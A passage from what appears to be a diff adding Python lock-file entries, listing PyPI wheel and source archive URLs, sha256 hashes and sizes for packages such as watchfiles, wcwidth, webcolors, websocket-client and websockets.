"https://files.pythonhosted.org/packages/98/e0/8c9bdba88af756a2fce230dd365fab2baf927ba42cd47521ee7498fd5211/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:74d5012b7630714b66be7b7b7a78855ef7ad58e8650c73afc4c076a1f480a8d6", size = 630626, upload-time = "2025-10-14T15:05:35.216Z" }, + { url = "https://files.pythonhosted.org/packages/2a/84/a95db05354bf2d19e438520d92a8ca475e578c647f78f53197f5a2f17aaf/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:8fbe85cb3201c7d380d3d0b90e63d520f15d6afe217165d7f98c9c649654db81", size = 622519, upload-time = "2025-10-14T15:05:36.259Z" }, + { url = "https://files.pythonhosted.org/packages/1d/ce/d8acdc8de545de995c339be67711e474c77d643555a9bb74a9334252bd55/watchfiles-1.1.1-cp314-cp314-win32.whl", hash = "sha256:3fa0b59c92278b5a7800d3ee7733da9d096d4aabcfabb9a928918bd276ef9b9b", size = 272078, upload-time = "2025-10-14T15:05:37.63Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c9/a74487f72d0451524be827e8edec251da0cc1fcf111646a511ae752e1a3d/watchfiles-1.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:c2047d0b6cea13b3316bdbafbfa0c4228ae593d995030fda39089d36e64fc03a", size = 287664, upload-time = "2025-10-14T15:05:38.95Z" }, + { url = "https://files.pythonhosted.org/packages/df/b8/8ac000702cdd496cdce998c6f4ee0ca1f15977bba51bdf07d872ebdfc34c/watchfiles-1.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:842178b126593addc05acf6fce960d28bc5fae7afbaa2c6c1b3a7b9460e5be02", size = 277154, upload-time = "2025-10-14T15:05:39.954Z" }, + { url = "https://files.pythonhosted.org/packages/47/a8/e3af2184707c29f0f14b1963c0aace6529f9d1b8582d5b99f31bbf42f59e/watchfiles-1.1.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:88863fbbc1a7312972f1c511f202eb30866370ebb8493aef2812b9ff28156a21", size = 403820, upload-time = "2025-10-14T15:05:40.932Z" }, + { url = "https://files.pythonhosted.org/packages/c0/ec/e47e307c2f4bd75f9f9e8afbe3876679b18e1bcec449beca132a1c5ffb2d/watchfiles-1.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:55c7475190662e202c08c6c0f4d9e345a29367438cf8e8037f3155e10a88d5a5", size = 390510, upload-time = "2025-10-14T15:05:41.945Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a0/ad235642118090f66e7b2f18fd5c42082418404a79205cdfca50b6309c13/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f53fa183d53a1d7a8852277c92b967ae99c2d4dcee2bfacff8868e6e30b15f7", size = 448408, upload-time = "2025-10-14T15:05:43.385Z" }, + { url = "https://files.pythonhosted.org/packages/df/85/97fa10fd5ff3332ae17e7e40e20784e419e28521549780869f1413742e9d/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6aae418a8b323732fa89721d86f39ec8f092fc2af67f4217a2b07fd3e93c6101", size = 458968, upload-time = "2025-10-14T15:05:44.404Z" }, + { url = "https://files.pythonhosted.org/packages/47/c2/9059c2e8966ea5ce678166617a7f75ecba6164375f3b288e50a40dc6d489/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f096076119da54a6080e8920cbdaac3dbee667eb91dcc5e5b78840b87415bd44", size = 488096, upload-time = "2025-10-14T15:05:45.398Z" }, + { url = "https://files.pythonhosted.org/packages/94/44/d90a9ec8ac309bc26db808a13e7bfc0e4e78b6fc051078a554e132e80160/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:00485f441d183717038ed2e887a7c868154f216877653121068107b227a2f64c", size = 596040, upload-time = "2025-10-14T15:05:46.502Z" }, + { url = "https://files.pythonhosted.org/packages/95/68/4e3479b20ca305cfc561db3ed207a8a1c745ee32bf24f2026a129d0ddb6e/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a55f3e9e493158d7bfdb60a1165035f1cf7d320914e7b7ea83fe22c6023b58fc", size = 473847, upload-time = "2025-10-14T15:05:47.484Z" }, + { url = "https://files.pythonhosted.org/packages/4f/55/2af26693fd15165c4ff7857e38330e1b61ab8c37d15dc79118cdba115b7a/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c91ed27800188c2ae96d16e3149f199d62f86c7af5f5f4d2c61a3ed8cd3666c", size = 455072, upload-time = "2025-10-14T15:05:48.928Z" }, + { url = "https://files.pythonhosted.org/packages/66/1d/d0d200b10c9311ec25d2273f8aad8c3ef7cc7ea11808022501811208a750/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:311ff15a0bae3714ffb603e6ba6dbfba4065ab60865d15a6ec544133bdb21099", size = 629104, upload-time = "2025-10-14T15:05:49.908Z" }, + { url = "https://files.pythonhosted.org/packages/e3/bd/fa9bb053192491b3867ba07d2343d9f2252e00811567d30ae8d0f78136fe/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a916a2932da8f8ab582f242c065f5c81bed3462849ca79ee357dd9551b0e9b01", size = 622112, upload-time = "2025-10-14T15:05:50.941Z" }, + { url = "https://files.pythonhosted.org/packages/ba/4c/a888c91e2e326872fa4705095d64acd8aa2fb9c1f7b9bd0588f33850516c/watchfiles-1.1.1-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:17ef139237dfced9da49fb7f2232c86ca9421f666d78c264c7ffca6601d154c3", size = 409611, upload-time = "2025-10-14T15:06:05.809Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c7/5420d1943c8e3ce1a21c0a9330bcf7edafb6aa65d26b21dbb3267c9e8112/watchfiles-1.1.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:672b8adf25b1a0d35c96b5888b7b18699d27d4194bac8beeae75be4b7a3fc9b2", size = 396889, upload-time = "2025-10-14T15:06:07.035Z" }, + { url = "https://files.pythonhosted.org/packages/0c/e5/0072cef3804ce8d3aaddbfe7788aadff6b3d3f98a286fdbee9fd74ca59a7/watchfiles-1.1.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77a13aea58bc2b90173bc69f2a90de8e282648939a00a602e1dc4ee23e26b66d", size = 451616, upload-time = "2025-10-14T15:06:08.072Z" }, + { url = "https://files.pythonhosted.org/packages/83/4e/b87b71cbdfad81ad7e83358b3e447fedd281b880a03d64a760fe0a11fc2e/watchfiles-1.1.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b495de0bb386df6a12b18335a0285dda90260f51bdb505503c02bcd1ce27a8b", size = 458413, upload-time = "2025-10-14T15:06:09.209Z" }, + { url = "https://files.pythonhosted.org/packages/d3/8e/e500f8b0b77be4ff753ac94dc06b33d8f0d839377fee1b78e8c8d8f031bf/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:db476ab59b6765134de1d4fe96a1a9c96ddf091683599be0f26147ea1b2e4b88", size = 408250, upload-time = "2025-10-14T15:06:10.264Z" }, + { url = "https://files.pythonhosted.org/packages/bd/95/615e72cd27b85b61eec764a5ca51bd94d40b5adea5ff47567d9ebc4d275a/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:89eef07eee5e9d1fda06e38822ad167a044153457e6fd997f8a858ab7564a336", size = 396117, upload-time = "2025-10-14T15:06:11.28Z" }, + { url = "https://files.pythonhosted.org/packages/c9/81/e7fe958ce8a7fb5c73cc9fb07f5aeaf755e6aa72498c57d760af760c91f8/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce19e06cbda693e9e7686358af9cd6f5d61312ab8b00488bc36f5aabbaf77e24", size = 450493, upload-time = "2025-10-14T15:06:12.321Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d4/ed38dd3b1767193de971e694aa544356e63353c33a85d948166b5ff58b9e/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e6f39af2eab0118338902798b5aa6664f46ff66bc0280de76fca67a7f262a49", size = 457546, upload-time = "2025-10-14T15:06:13.372Z" }, +] + +[[package]] +name = "wcwidth" +version = "0.2.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/30/6b0809f4510673dc723187aeaf24c7f5459922d01e2f794277a3dfb90345/wcwidth-0.2.14.tar.gz", hash = "sha256:4d478375d31bc5395a3c55c40ccdf3354688364cd61c4f6adacaa9215d0b3605", size = 102293, upload-time = "2025-09-22T16:29:53.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/b5/123f13c975e9f27ab9c0770f514345bd406d0e8d3b7a0723af9d43f710af/wcwidth-0.2.14-py2.py3-none-any.whl", hash = "sha256:a7bb560c8aee30f9957e5f9895805edd20602f2d7f720186dfd906e82b4982e1", size = 37286, upload-time = "2025-09-22T16:29:51.641Z" }, +] + +[[package]] +name = "webcolors" +version = "25.10.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/7a/eb316761ec35664ea5174709a68bbd3389de60d4a1ebab8808bfc264ed67/webcolors-25.10.0.tar.gz", hash = "sha256:62abae86504f66d0f6364c2a8520de4a0c47b80c03fc3a5f1815fedbef7c19bf", size = 53491, upload-time = "2025-10-31T07:51:03.977Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e2/cc/e097523dd85c9cf5d354f78310927f1656c422bd7b2613b2db3e3f9a0f2c/webcolors-25.10.0-py3-none-any.whl", hash = "sha256:032c727334856fc0b968f63daa252a1ac93d33db2f5267756623c210e57a4f1d", size = 14905, upload-time = "2025-10-31T07:51:01.778Z" }, +] + +[[package]] +name = "webencodings" +version = "0.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/02/ae6ceac1baeda530866a85075641cec12989bd8d31af6d5ab4a3e8c92f47/webencodings-0.5.1.tar.gz", hash = "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923", size = 9721, upload-time = "2017-04-05T20:21:34.189Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/24/2a3e3df732393fed8b3ebf2ec078f05546de641fe1b667ee316ec1dcf3b7/webencodings-0.5.1-py2.py3-none-any.whl", hash = "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78", size = 11774, upload-time = "2017-04-05T20:21:32.581Z" }, +] + +[[package]] +name = "websocket-client" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2c/41/aa4bf9664e4cda14c3b39865b12251e8e7d239f4cd0e3cc1b6c2ccde25c1/websocket_client-1.9.0.tar.gz", hash = "sha256:9e813624b6eb619999a97dc7958469217c3176312b3a16a4bd1bc7e08a46ec98", size = 70576, upload-time = "2025-10-07T21:16:36.495Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/34/db/b10e48aa8fff7407e67470363eac595018441cf32d5e1001567a7aeba5d2/websocket_client-1.9.0-py3-none-any.whl", hash = "sha256:af248a825037ef591efbf6ed20cc5faa03d3b47b9e5a2230a529eeee1c1fc3ef", size = 82616, upload-time = "2025-10-07T21:16:34.951Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/74/221f58decd852f4b59cc3354cccaf87e8ef695fede361d03dc9a7396573b/websockets-16.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:04cdd5d2d1dacbad0a7bf36ccbcd3ccd5a30ee188f2560b7a62a30d14107b31a", size = 177343, upload-time = "2026-01-10T09:22:21.28Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/22ef6107ee52ab7f0b710d55d36f5a5d3ef19e8a205541a6d7ffa7994e5a/websockets-16.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8ff32bb86522a9e5e31439a58addbb0166f0204d64066fb955265c4e214160f0", size = 175021, upload-time = "2026-01-10T09:22:22.696Z" }, + { url = "https://files.pythonhosted.org/packages/10/40/904a4cb30d9b61c0e278899bf36342e9b0208eb3c470324a9ecbaac2a30f/websockets-16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:583b7c42688636f930688d712885cf1531326ee05effd982028212ccc13e5957", size = 175320, upload-time = "2026-01-10T09:22:23.94Z" }, + { url = "https://files.pythonhosted.org/packages/9d/2f/4b3ca7e106bc608744b1cdae041e005e446124bebb037b18799c2d356864/websockets-16.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7d837379b647c0c4c2355c2499723f82f1635fd2c26510e1f587d89bc2199e72", size = 183815, upload-time = "2026-01-10T09:22:25.469Z" }, + { url = "https://files.pythonhosted.org/packages/86/26/d40eaa2a46d4302becec8d15b0fc5e45bdde05191e7628405a19cf491ccd/websockets-16.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df57afc692e517a85e65b72e165356ed1df12386ecb879ad5693be08fac65dde", size = 185054, upload-time = "2026-01-10T09:22:27.101Z" }, + { url = "https://files.pythonhosted.org/packages/b0/ba/6500a0efc94f7373ee8fefa8c271acdfd4dca8bd49a90d4be7ccabfc397e/websockets-16.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2b9f1e0d69bc60a4a87349d50c09a037a2607918746f07de04df9e43252c77a3", size = 184565, upload-time = "2026-01-10T09:22:28.293Z" }, + { url = "https://files.pythonhosted.org/packages/04/b4/96bf2cee7c8d8102389374a2616200574f5f01128d1082f44102140344cc/websockets-16.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:335c23addf3d5e6a8633f9f8eda77efad001671e80b95c491dd0924587ece0b3", size = 183848, upload-time = "2026-01-10T09:22:30.394Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/81f40fb00fd125357814e8c3025738fc4ffc3da4b6b4a4472a82ba304b41/websockets-16.0-cp310-cp310-win32.whl", hash = "sha256:37b31c1623c6605e4c00d466c9d633f9b812ea430c11c8a278774a1fde1acfa9", size = 178249, upload-time = "2026-01-10T09:22:32.083Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5f/7e40efe8df57db9b91c88a43690ac66f7b7aa73a11aa6a66b927e44f26fa/websockets-16.0-cp310-cp310-win_amd64.whl", hash = "sha256:8e1dab317b6e77424356e11e99a432b7cb2f3ec8c5ab4dabbcee6add48f72b35", size = 178685, upload-time = "2026-01-10T09:22:33.345Z" }, + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:95724e638f0f9c350bb1c2b0a7ad0e83d9cc0c9259f3ea94e40d7b02a2179ae5", size = 184975, upload-time = "2026-01-10T09:23:03.756Z" }, + { url = "https://files.pythonhosted.org/packages/f9/66/27ea52741752f5107c2e41fda05e8395a682a1e11c4e592a809a90c6a506/websockets-16.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0204dc62a89dc9d50d682412c10b3542d748260d743500a85c13cd1ee4bde82", size = 186203, upload-time = "2026-01-10T09:23:05.01Z" }, + { url = "https://files.pythonhosted.org/packages/37/e5/8e32857371406a757816a2b471939d51c463509be73fa538216ea52b792a/websockets-16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:52ac480f44d32970d66763115edea932f1c5b1312de36df06d6b219f6741eed8", size = 185653, upload-time = "2026-01-10T09:23:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/9b/67/f926bac29882894669368dc73f4da900fcdf47955d0a0185d60103df5737/websockets-16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6e5a82b677f8f6f59e8dfc34ec06ca6b5b48bc4fcda346acd093694cc2c24d8f", size = 184920, upload-time = "2026-01-10T09:23:07.492Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a1/3d6ccdcd125b0a42a311bcd15a7f705d688f73b2a22d8cf1c0875d35d34a/websockets-16.0-cp313-cp313-win32.whl", hash = "sha256:abf050a199613f64c886ea10f38b47770a65154dc37181bfaff70c160f45315a", size = 178255, upload-time = "2026-01-10T09:23:09.245Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ae/90366304d7c2ce80f9b826096a9e9048b4bb760e44d3b873bb272cba696b/websockets-16.0-cp313-cp313-win_amd64.whl", hash = "sha256:3425ac5cf448801335d6fdc7ae1eb22072055417a96cc6b31b3861f455fbc156", size = 178689, upload-time = "2026-01-10T09:23:10.483Z" }, + { url = "https://files.pythonhosted.org/packages/f3/1d/e88022630271f5bd349ed82417136281931e558d628dd52c4d8621b4a0b2/websockets-16.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:8cc451a50f2aee53042ac52d2d053d08bf89bcb31ae799cb4487587661c038a0", size = 177406, upload-time = "2026-01-10T09:23:12.178Z" }, + { url = "https://files.pythonhosted.org/packages/f2/78/e63be1bf0724eeb4616efb1ae1c9044f7c3953b7957799abb5915bffd38e/websockets-16.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:daa3b6ff70a9241cf6c7fc9e949d41232d9d7d26fd3522b1ad2b4d62487e9904", size = 175085, upload-time = "2026-01-10T09:23:13.511Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/d3c9220d818ee955ae390cf319a7c7a467beceb24f05ee7aaaa2414345ba/websockets-16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:fd3cb4adb94a2a6e2b7c0d8d05cb94e6f1c81a0cf9dc2694fb65c7e8d94c42e4", size = 175328, upload-time = "2026-01-10T09:23:14.727Z" }, + { url = "https://files.pythonhosted.org/packages/63/bc/d3e208028de777087e6fb2b122051a6ff7bbcca0d6df9d9c2bf1dd869ae9/websockets-16.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:781caf5e8eee67f663126490c2f96f40906594cb86b408a703630f95550a8c3e", size = 185044, upload-time = "2026-01-10T09:23:15.939Z" }, + { url = "https://files.pythonhosted.org/packages/ad/6e/9a0927ac24bd33a0a9af834d89e0abc7cfd8e13bed17a86407a66773cc0e/websockets-16.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:caab51a72c51973ca21fa8a18bd8165e1a0183f1ac7066a182ff27107b71e1a4", size = 186279, upload-time = "2026-01-10T09:23:17.148Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ca/bf1c68440d7a868180e11be653c85959502efd3a709323230314fda6e0b3/websockets-16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19c4dc84098e523fd63711e563077d39e90ec6702aff4b5d9e344a60cb3c0cb1", size = 185711, upload-time = "2026-01-10T09:23:18.372Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f8/fdc34643a989561f217bb477cbc47a3a07212cbda91c0e4389c43c296ebf/websockets-16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:a5e18a238a2b2249c9a9235466b90e96ae4795672598a58772dd806edc7ac6d3", size = 184982, upload-time = "2026-01-10T09:23:19.652Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/574fa27e233764dbac9c52730d63fcf2823b16f0856b3329fc6268d6ae4f/websockets-16.0-cp314-cp314-win32.whl", hash = "sha256:a069d734c4a043182729edd3e9f247c3b2a4035415a9172fd0f1b71658a320a8", size = 177915, upload-time = "2026-01-10T09:23:21.458Z" }, + { url = "https://files.pythonhosted.org/packages/8a/f1/ae6b937bf3126b5134ce1f482365fde31a357c784ac51852978768b5eff4/websockets-16.0-cp314-cp314-win_amd64.whl", hash = "sha256:c0ee0e63f23914732c6d7e0cce24915c48f3f1512ec1d079ed01fc629dab269d", size = 178381, upload-time = "2026-01-10T09:23:22.715Z" }, + { url = "https://files.pythonhosted.org/packages/06/9b/f791d1db48403e1f0a27577a6beb37afae94254a8c6f08be4a23e4930bc0/websockets-16.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:a35539cacc3febb22b8f4d4a99cc79b104226a756aa7400adc722e83b0d03244", size = 177737, upload-time = "2026-01-10T09:23:24.523Z" }, + { url = "https://files.pythonhosted.org/packages/bd/40/53ad02341fa33b3ce489023f635367a4ac98b73570102ad2cdd770dacc9a/websockets-16.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:b784ca5de850f4ce93ec85d3269d24d4c82f22b7212023c974c401d4980ebc5e", size = 175268, upload-time = "2026-01-10T09:23:25.781Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/6158d4e459b984f949dcbbb0c5d270154c7618e11c01029b9bbd1bb4c4f9/websockets-16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:569d01a4e7fba956c5ae4fc988f0d4e187900f5497ce46339c996dbf24f17641", size = 175486, upload-time = 